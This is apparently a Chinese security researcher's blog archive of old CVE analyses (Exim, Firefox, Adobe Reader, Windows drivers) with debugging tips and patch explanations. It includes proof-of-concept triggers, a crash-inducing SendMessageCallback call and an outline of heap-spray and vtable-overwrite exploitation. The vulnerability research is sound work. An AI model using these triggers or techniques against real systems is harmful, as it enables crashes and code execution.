-
2012-01-02
正心修身齐家平网络——第二个五年计划(2)(2012年) - [随笔杂谈]
读书只是一种习惯,一种修行,没什么搞笑不搞笑的,高手不解释!
—— 泉哥
修身篇
1、《史蒂夫·乔布斯传》(已阅过半)
学习篇
1、内核漏洞利用技术文章集合(已阅过半)
2、《windows核心编程》
3、《软件调试》
4、《黑客防线VC编程专辑》
5、《Python灰帽子——黑客与逆向工程师的Python编程之道》
-
今天中午部门聚完餐,回到公司LOL一盘,大杀特杀,终于可以带着胜利的喜悦回家了。
晚上8:40的车,明日下午到家。
第一次春节前期这么晚回家,这也是工作与读书的区别。
工作之后,博客更新就变慢了,文章的产量也是有所下降,过年期间打算上看雪发几篇文章,热烈庆祝下春节,也庆祝下2011年我们还活着,毕竟还是吃了不少地沟油、致癌奶……
在此预祝各位同事朋友春节快乐,来年我们再一起超神、暴走……
-
2012-01-14
CVE-2010-4344漏洞分析与修复 - [软件漏洞]
作者:riusksk(泉哥)
漏洞公告
Exim是一个开放源代码的免费邮件传送软件,可以在Unix下提供邮件传输代理功能(MTA),由剑桥大学发布和维护。 Exim <= 4.69版本号的string.c文件中的string_vformat函数中存在基于堆的缓冲区溢出漏洞。远程攻击者可以借助包括两个邮件命令结合包含超大特制头消息的SMTP会话执行任意代码。该漏洞将导致不正确地拒绝登陆。

漏洞分析
本漏洞是由”string_vformat()”函数引发,其在处理经恶意构造的email message和header时,由于缺乏有效地过滤,导致缓冲区溢出的发生。Exim使用各种自定义的函数来处理字符串,此可参见”exim-4.69/src/string.c”文件中的源码。
00001054 BOOL
00001055 string_format(uschar *buffer, int buflen, char *format, ...)
00001056 {
00001057 BOOL yield;
00001058 va_list ap;
00001059 va_start(ap, format); // 可变参数ap,后面传参予string_vforamt函数,其中第1个参数指向format参数起始地址
00001060 yield = string_vformat(buffer, buflen, format, ap); // 漏洞函数
00001061 va_end(ap);
00001062 return yield;
00001063 }
00001064
00001065
00001066 BOOL
00001067 string_vformat(uschar *buffer, int buflen, char *format, va_list ap)
00001068 {
00001069 enum { L_NORMAL, L_SHORT, L_LONG, L_LONGLONG, L_LONGDOUBLE };
00001070
00001071 BOOL yield = TRUE;
00001072 int width, precision;
00001073 char *fp = format; // 字符串格式 /* Deliberately not unsigned */
00001074 uschar *p = buffer; // p指针指向buffer
00001075 uschar *last = buffer + buflen - 1; // last指针指向buffer+buflen-1
……省略……
00001090 /* Non-% characters just get copied verbatim */
00001091 // 遇到控制符%则继续读取下一字符
00001092 if (*fp != '%')
00001093 {
00001094 if (p >= last) { yield = FALSE; break; }
00001095 *p++ = (uschar)*fp++;
00001096 continue;
00001097 }
00001098
00001099 /* Deal with % characters. Pick off the width and precision, for checking
00001100 strings, skipping over the flag and modifier characters. */
00001101
00001102 item_start = fp;
00001103 width = precision = -1; // 将变量”width”和”precision”均设为-1
……省略……
00001157 /* Handle each specific format type. */
00001158
00001159 switch (*fp++)
00001160 {
00001161 case 'n':
00001162 nptr = va_arg(ap, int *);
00001163 *nptr = p - buffer;
00001164 break;
……省略……
00001226
00001227 case 'c':
00001228 if (p >= last) { yield = FALSE; goto END_FORMAT; }
00001229 *p++ = va_arg(ap, int); // 处理完%c之后,p指针继续向后偏移读取可变参数ap的下一个参数,但此时last并没有跟着偏移,这就有可能造成 p=last,导致后面的悲剧发生!
00001230 break;
……省略……
// 当fp指针即format参数为%s时
00001237 case 's':
00001238 case 'S': /* Forces *lower* case */
00001239 s = va_arg(ap, char *);
00001240
00001241 INSERT_STRING: /* Come to from %D above */
00001242 if (s == NULL) s = null;
00001243 slen = Ustrlen(s); // 使用Ustrlen计算出ap的字符串长度,此值并非前面buflen参数
00001244
00001245 /* If the width is specified, check that there is a precision
00001246 set; if not, set it to the width to prevent overruns of long
00001247 strings. */
00001248
00001249 if (width >= 0)
00001250 {
00001251 if (precision < 0) precision = width;
00001252 }
00001253
00001254 /* If a width is not specified and the precision is specified, set
00001255 the width to the precision, or the string length if shorted. */
00001256
00001257 else if (precision >= 0)
00001258 {
00001259 width = (precision < slen)? precision : slen;
00001260 }
00001261
00001262 /* If neither are specified, set them both to the string length. */
00001263
00001264 else width = precision = slen; // 如果 width与precision均小于0(默认为-1),则width与precision置为slen。
00001265
00001266 /* Check string space, and add the string to the buffer if ok. If
00001267 not OK, add part of the string (debugging uses this to show as
00001268 much as possible). */
00001269
00001270 if (p >= last - width) // 上面令width与precision为假,就是为了能够执行到这里
00001271 {
00001272 yield = FALSE;
00001273 width = precision = last - p - 1; // 由上可知我们能够令last = p,此时width与precision均会被设置为-1
00001274 }
00001275 sprintf(CS p, "%*.*s", width, precision, s); // 将width与precision作为参数调用sprintf,s为可变参数列表ap,在ap参数中构造长字符串,这里p指针向malloc分配的堆块,最后导致堆溢出!
00001276 if (fp[-1] == 'S')
00001277 while (*p) { *p = tolower(*p); p++; }
00001278 else
00001279 while (*p) p++;
00001280 if (!yield) goto END_FORMAT;
00001281 break;
如上所示,函数”string_vformat()”以一个超长的字符串作为其参数,导致了可利用的堆溢出漏洞发生。为了远程利用此漏洞,攻击者可以发送一封经恶意构造的email消息,由于该邮件会被拒绝,因此接着Exim会调用“log_write()” [exim-4.69/src/log.c] 函数进行日志记录,该函数会先调用malloc分配 0x2000 字节大小的缓冲区,用于存储错误信息,然后将分配的内存地址作为参数传递给“string_format()”,而函数“string_format()”仅是对“string_vformat()”函数的封装,最终造成堆溢出!
漏洞修复
添加对p和last的判断,当它们相等时直接跳至函数尾部返回,同时对width与precision进行判断,当它们为假时,将其设为0,进而避免堆溢出的发生。左下图是修复前的代码,右下图是修复后的代码:

-
2012-01-08
CVE-2011-0065 漏洞分析与修复 - [软件漏洞]
作者:riusksk(泉哥)
漏洞公告

测试代码
(poc.html:来源于instruder写的文档)
<html>
<body>
<object id="d"><object>
<script type="text/javascript">
var e;
e=document.getElementById("d");
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object('0c'),0);
e.data = "";
</script>
</body>
</html>
漏洞分析
用ImmDbg加载Firefox运行,并打开poc.html文件,触发异常:

此时栈顶情况如下:
0013F4FC 5A4A4E75 uNJZ RETURN to xul.5A4A4E75
跳过去:

根据C++成员函数this指针调用约定,可以知道上面的ecx为虚表基址,eax为对象地址,而call dword ptr ds:[ecx+18] 调用的正是某个对象的方法,即虚函数。查看0x5A4A4E72地址属性,主要是由xul.dll模块中的函数导致的漏洞:

对0x5A4A4E66下条件断点:

执行后:

这里只引用一次对象就崩溃了,这就更加方便我们调试跟踪了,此时eax=0x05875470(对象地址),ecx=0x04c7b000(虚表基址),正是这里的虚表地址导致后续的异常发生。
通过之前poc.html中的代码可以知道触发漏洞的关键函数位于onChannelRedirect(),它主要用于释放mChannel对象。我们搜索所有模块中的名称,找到这一函数(必须先加载Firefox符号表):

对该函数下断(通常设置条件断点得知其也只是释放一次对象,因此这里直接对函数下断),运行后栈参数情况如下(每次运行上面的地址都是不一样,读者可以像instruder兄弟提出的方法:保存虚拟机镜像,需要时再从新加载运行,这样就保证每次的地址都一样,不过这里我没有这样做,所以后面的地址会有所不同):

继续执行(保留前面的条件断点0x5A4A4E66,相当于这里的0x5AA74E66):

由上可知,首先对象地址0x06898D70作为参数传递给OnChannelRedirect函数进行内存释放,而后面该对象地址又被引用导致释放重引用漏洞(use after free)的发生。
漏洞修复
添加对mChannel对象的判断,若对象被释放则直接返回函数,不再引用mChannel对象。

-
2012-01-07
CVE-2011-2371漏洞分析与修复 - [软件漏洞]
作者:riusksk(泉哥)
漏洞公告

测试代码
其中的关键代码如下(完整代码:http://www.exploit-db.com/exploits/17974/):
spray();
hola = new Array;
hola.length = 2197815302; // 相当于0x83000006
w00t = function ph33r(prev, myobj, indx, array) {
alert(myobj[0]); // trigger getProperty
}
hola.reduceRight(w00t,1,2,3);
漏洞分析
之前K_K(http://hi.baidu.com/4b_4b/blog/item/a00c092e394cd74e9922ede9.html)已经在博客上做过分析,读完感觉这个漏洞比较典型,有一定的学习价值,于是就自己动手调试下,毕竟“纸上得来终觉浅,绝知此事要躬行。”
通过公告可以知道漏洞主要是由Array.reduceRight()函数导致的,我们在OD中搜索所有模块中的名称,最后找到js3250!array_reduceRight函数(调试前须加载Firefox符号表,否则无法认识出函数名):

接着在OD中直接对该函数下断
bp array_reduceRight
用FireFox打开exploit.html文件,运行后断下:

跟进array_extra函数:


接着将0x83000006-1=0x83000005作为参数传给GetArrayElement,用于获取数组元素对应的数值。这里0x83000005是无符号数,但当它传递给GetArrayElement时,它被当作有符号数来处理,即负数-2097151995,此时作为索引号来获取数组元素值就造成了数组越界访问:

跟进GetArrayElement函数,它通过ecx+edx*4来获得数组元素地址0x0C000014,此地址已经通过Heap Spray传送了可控数据0x0C000048:

对0x0C000048下内存访问断点,F9之后:

跳转后:

漏洞修复
将数组索引号与数组长度统一为无符号整数类型:

-
2012-01-01
悬挂指针(Dangling Pointer) - [软件漏洞]
导致悬挂指针的两个经典场景:
1、对已释放的C++对象进行重引用,即释放重引用漏洞;
2、函数返回本地变量指针,但该变量只在函数内部定义,导致函数执行完后此指针就变成无效指针了。
对象的使用
使用虚函数的对象都会包含虚表指针,该指针位于对象内存区域的首个DWORD值(Pwn20wn 2010 黑客大赛上 Peter vreugdenhil 利用MS11-002漏洞在 Windows 7 下攻下 IE8 浏览器,他正是正是C++对象前面的虚表指针来绕过ASLR),后面是对象成员。通过虚表指针获得虚表地址,虚表里面包含有各个虚函数地址,通过虚函数地址可找到对应的虚函数代码。
示例代码:
...
mov ecx,objectaddr ; 分配对象地址给ecx
...
mov eax,[ecx] ; 将ecx指向的内存区域的首个dword值赋予eax,此时eax即虚表指针。
...
call [eax+8] ; 其中8是将执行的虚函数在虚表中偏移地址,这里对应的是第3个虚函数。
...
利用思路
覆盖虚表指针
比如设法令上面的eax=0x0C0C0C04,那么最后就会去执行0x0C0C0C0C(利用heap spray实现);为了覆盖虚表指针,可在C++对象被释放后申请同等大小的内存,以占位被释放对象所在的内存区域。除了跳去0x0C0C0C0C外,我们还可设法令call [eax+8] = call/jmp ecx,同时我们将shellcode放置在对象内存区域中,执行call/jmp ecx后就会进入对象内存区域去执行ShellCode。
实例:CVE-2011-0065:Firefox 3.6.16 mChannel 释放重引用漏洞
http://bbs.pediy.com/showthread.php?p=1034525#post1034525
当存在继承类时,对象实例中就存在两个虚表指针,此时就无需去占位被释放对象的内存了,我们可以去覆盖第二个虚表指针。
-
即将告别2011,迎来2012,预祝各位亲元旦快乐!
-
2011-12-17
堆块双重释放漏洞调试技巧 - [逆向工程]
技巧一:
下断:
bu 3440D279".if(1){.echo EnterVulnFunc;gc}"
bu 6e264b6c".if(1){.echo Free heap block; dd esp l4;gc}"
输出结果:
EnterVulnFunc
Free heap block
0011bc5c 3441e2a2138f00203b906313 10027b64
Free heap block
0011bc5c 3441dc6c138f0020 3b906313 10027b64
(1508.e84): Accessviolation - code c0000005 (first chance)
First chanceexceptions are reported before any exception handling.
This exception may beexpected and handled.
eax=138f0018ebx=138f0020 ecx=6e287a7e edx=10028a70 esi=008a0000 edi=00000000
eip=77691f88esp=0011bbe8 ebp=0011bbf8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
ntdll!RtlFreeHeap+0x3a:
77691f8880780705 cmp byte ptr [eax+7],5 ds:0023:138f001f=??
0:000> kb
ChildEBP RetAddr Args to Child
0011bbf8 75aaf14c008a0000 00000000 138f0020 ntdll!RtlFreeHeap+0x3a
0011bc0c 6e264c39008a0000 00000000 138f0020 kernel32!HeapFree+0x14
0011bc58 3441dc6c138f0020 3b90631310027b64 MSVCR80!free+0xcd
技巧二:
0:000> kb
ChildEBP RetAddr Args to Child
0012fbe4 7c85079b 015b1000 0012fc94 0012fc70 ntdll!DbgBreakPoint
0012fbf4 7c87204b 00000007 7c8722f8 015b1000 ntdll!RtlpPageHeapStop+0x72
0012fc70 7c873305 015b1000 00000004 003f5858 ntdll!RtlpDphReportCorruptedBlock+0x11e
0012fca0 7c8734c3 015b1000 003f0000 01001002 ntdll!RtlpDphNormalHeapFree+0x32
0012fcf8 7c8766b9 015b0000 01001002 003f5858 ntdll!RtlpDebugPageHeapFree+0x146
0012fd60 7c860386 015b0000 01001002 003f5858 ntdll!RtlDebugFreeHeap+0x1ed
0012fe38 7c81d77d 015b0000 01001002 003f5858 ntdll!RtlFreeHeapSlowly+0x37
0012ff1c 78134c3b 015b0000 01001002 003f5858 ntdll!RtlFreeHeap+0x11a
0012ff68 00401016 003f5858 003f5858 00000064 MSVCR80!free+0xcd
0:000> !heap -p -a 0x3f5858
address 003f5858 found in
_HEAP @ 3f0000
in HEAP_ENTRY: Size : Prev Flags - UserPtr UserSize - state
3f5830: 0014 : N/A [N/A] - 3f5858 (70) - (free DelayedFree)
Trace: 004f
7c860386 ntdll!RtlFreeHeapSlowly+0x00000037
7c81d77d ntdll!RtlFreeHeap+0x0000011a
78134c3b MSVCR80!free+0x000000cd // 在callstack中已显示曾被释放过一次
401010 win32!main+0x00000010
77e523cd kernel32!BaseProcessStart+0x00000023
0:000> uf 00401010
74 00401000 56 push esi
75 00401001 6a64 push 0x64
75 00401003 e824000000 call win32!operator new[] (0040102c)
75 00401008 8bf0 mov esi,eax
76 0040100a 56 push esi
76 0040100b e828000000 call win32!operator delete (00401038)
77 00401010 56 push esi
77 00401011 e81c000000 call win32!operator delete (00401032)技巧三:
由于堆块是动态分配,每次加载调试时,进程所分配的堆块地址都是不同的。为了提高分析效率,我们可以在调试到一定程度时保存虚拟机快照,等我们需要重新加载调试时,可以直接恢复虚拟机快照,这样每次调试的堆块地址都是固定的。
-
2011-12-04
CVE-2011-2500漏洞分析与修复 - [逆向工程]
【标题】:CVE-2011-2500漏洞分析与修复
【作者】:riusksk(泉哥)
【主页】:http://riusksk.blogbus.com
【时间】:2011年12月4日
漏洞描述
MicrosoftWindows Ancillary Function Driver(afd.sys)由于在对用户提交的数据未进行完善的检测导致存在本地提权漏洞,攻击者利用该漏洞可执行任意代码。
漏洞分析
由于afd.sys只在当OutBufferLength不为0的情况下才检测UserBuffer地址的有效性,因此攻击者只需令OutBufferLength = 0即可绕过检测:

关于该漏洞的利用还是需要一定技巧性,具体的exploit代码可参考:
Python版:http://www.exploit-db.com/exploits/18176/
C语言版:http://bbs.pediy.com/showthread.php?t=143634
漏洞修复
通过补丁比较分析可以发现,补丁后的afs.sys不再检测OutBufferLength是否为0,而是直接检测UserBuffer所指向的地址的有效性。左下图是修复后的,右下图是修复前:

-
2011-12-04
CVE-2010-2883漏洞分析与修复 - [软件漏洞]
【标题】:CVE-2010-2883漏洞分析与修复
【作者】:riusksk(泉哥)
【时间】:2011年10月3日
漏洞描述
Adobe Reader的CoolType.dll库在解析字体文件SING表格中的uniqueName项时存在栈溢出漏洞,用户受骗打开了特制的PDF文件就可能导致执行任意代码。目前这个漏洞正在被多个恶意软件积极的用于挂马攻击。
漏洞分析
用IDA反汇编CoolType.dll库,查看字符串可发现“SING”字体,直接定位进去即可查看到该库对sing表格的解析方式,主要是strcat造成的溢出漏洞:
.text:0803DCF9 push ebp
.text:0803DCFA sub esp, 104h ; 分配栈空间0x104
.text:0803DD00 lea ebp, [esp-4] ; 后面的strcat会把执行结果保存在ebp中
.text:0803DD04 mov eax, dword_8230FB8
.text:0803DD09 xor eax, ebp
.text:0803DD0B mov [ebp+104h], eax
.text:0803DD11 push 4Ch
.text:0803DD13 mov eax, offset loc_8184A54
.text:0803DD18 call __EH_prolog3_catch
.text:0803DD1D mov eax, [ebp+arg_C]
.text:0803DD23 mov edi, [ebp+arg_0]
.text:0803DD29 mov ebx, [ebp+arg_4]
.text:0803DD2F mov [ebp+var_28], edi
.text:0803DD32 mov [ebp+var_30], eax
.text:0803DD35 call sub_804172C
.text:0803DD3A xor esi, esi
.text:0803DD3C cmp dword ptr [edi+8], 3
.text:0803DD40 mov [ebp+var_4], esi
.text:0803DD43 jz loc_803DF00
.text:0803DD49 mov [ebp+var_1C], esi
.text:0803DD4C mov [ebp+var_18], esi
.text:0803DD4F cmp dword ptr [edi+0Ch], 1
.text:0803DD53 mov byte ptr [ebp+var_4], 1
.text:0803DD57 jnz loc_803DEA9
.text:0803DD5D push offset aName ; "name"
.text:0803DD62 push edi
.text:0803DD63 lea ecx, [ebp+var_1C]
.text:0803DD66 mov [ebp+var_11], 0
.text:0803DD6A call sub_80217D7
.text:0803DD6F cmp [ebp+var_1C], esi
.text:0803DD72 jnz short loc_803DDDD
.text:0803DD74 push offset aSing ; "SING"
.text:0803DD79 push edi
.text:0803DD7A lea ecx, [ebp+var_24] ; 指向sing表入口
.text:0803DD7D call sub_8021B06 ; 处理SING表
.text:0803DD82 mov eax, [ebp+var_24]
.text:0803DD85 cmp eax, esi ; 判断是否为空
.text:0803DD87 mov byte ptr [ebp+var_4], 2
.text:0803DD8B jz short loc_803DDC4 ; 这里不跳转
.text:0803DD8D mov ecx, [eax] ; 字体资源版本号,这里为1.0版本,即00 10 00 00
.text:0803DD8F and ecx, 0FFFFh
.text:0803DD95 jz short loc_803DD9F ; 这里跳转
.text:0803DD97 cmp ecx, 100h
.text:0803DD9D jnz short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9Cj
.text:0803DD9F add eax, 10h ; 相对sing表入口偏移0x10处找到uniqueName
.text:0803DDA2 push eax ; uniqueName域
.text:0803DDA3 lea eax, [ebp+0]
.text:0803DDA6 push eax ; 目的地址是一段固定大小的栈空间
.text:0803DDA7 mov byte ptr [ebp+0], 0
.text:0803DDAB call strcat ; 造成溢出!!!
漏洞修复
官方在修补该漏洞时,添加对字符串长度的检测与限制,这里它用sub_813391E函数代替了原来的strcat函数:

跟进sub_813391E函数:

-
2011-12-03
CVE-2011-1985漏洞分析与修复 - [逆向工程]
【标题】:CVE-2011-1985漏洞分析与修复
【作者】:riusksk(泉哥)
【主页】:http://riusksk.blogbus.com
【时间】:2011/12/3
漏洞描述
Windows系统中的win32k.sys由于缺乏对用户输入的验证,导致空指针引用,可导致本地提权或者拒绝服务攻击。Poc代码及其崩溃时的栈情况可参考这里:http://www.exploit-db.com/exploits/18024/。
漏洞分析
下面是系统崩溃时的栈情况:
0: kd> kp
ChildEBP RetAddr
ee21fd08 bf80ef2b win32k!NtUserfnINCBOXSTRING+0x8
ee21fd40 8054261c win32k!NtUserMessageCall+0xae
ee21fd40 7c92e4f4 nt!KiFastCallEntry+0xfc
0012ff2c 77d194be ntdll!KiFastSystemCallRet
0012ff5c 00401015 USER32!NtUserMessageCall+0xc
……
由上我们可以知道漏洞主要发生在 win32k!NtUserfnINCBOXSTRING这个函数里面。直接IDA加载win32k.sys进行分析,先跟进NtUserMessageCall函数:

消息号在0x400以内的,NtUserMessageCall函数就会去索引gapfnMessageCall函数数组中的对应函数,通过将消息号与0x3F相与运算获得函数数组索引值:

漏洞函数NtUserfnINCBOXSTRING位于函数数组索引值为0x19(win32k.sys版本不同,索引值可能会有所不同),与0x3F相与后仍为0x19,即:MessageTable[0x19] & 0x3F == 0x19 (NtUserfnINCBOXSTRING)。跟进NtUserfnINCBOXSTRING函数发现,传递的HWND参数未检测其有效性就直接引用了,导致空指针被引用:

因此当我们传递一个0xFFFFFFFF的句柄时,即可导致蓝屏:
#include
void main()
{
SendMessageCallback((HWND)-1,CB_ADDSTRING,0,0,0,0);
}
其它消息所导致的蓝屏,原因与此一样。
漏洞修复
通过分析打补丁后的win32k.sys,可以发现它在漏洞函数中添加了对0xFFFFFFFF参数的判断,若存在则调用UserSetLastError() 返回 -1。








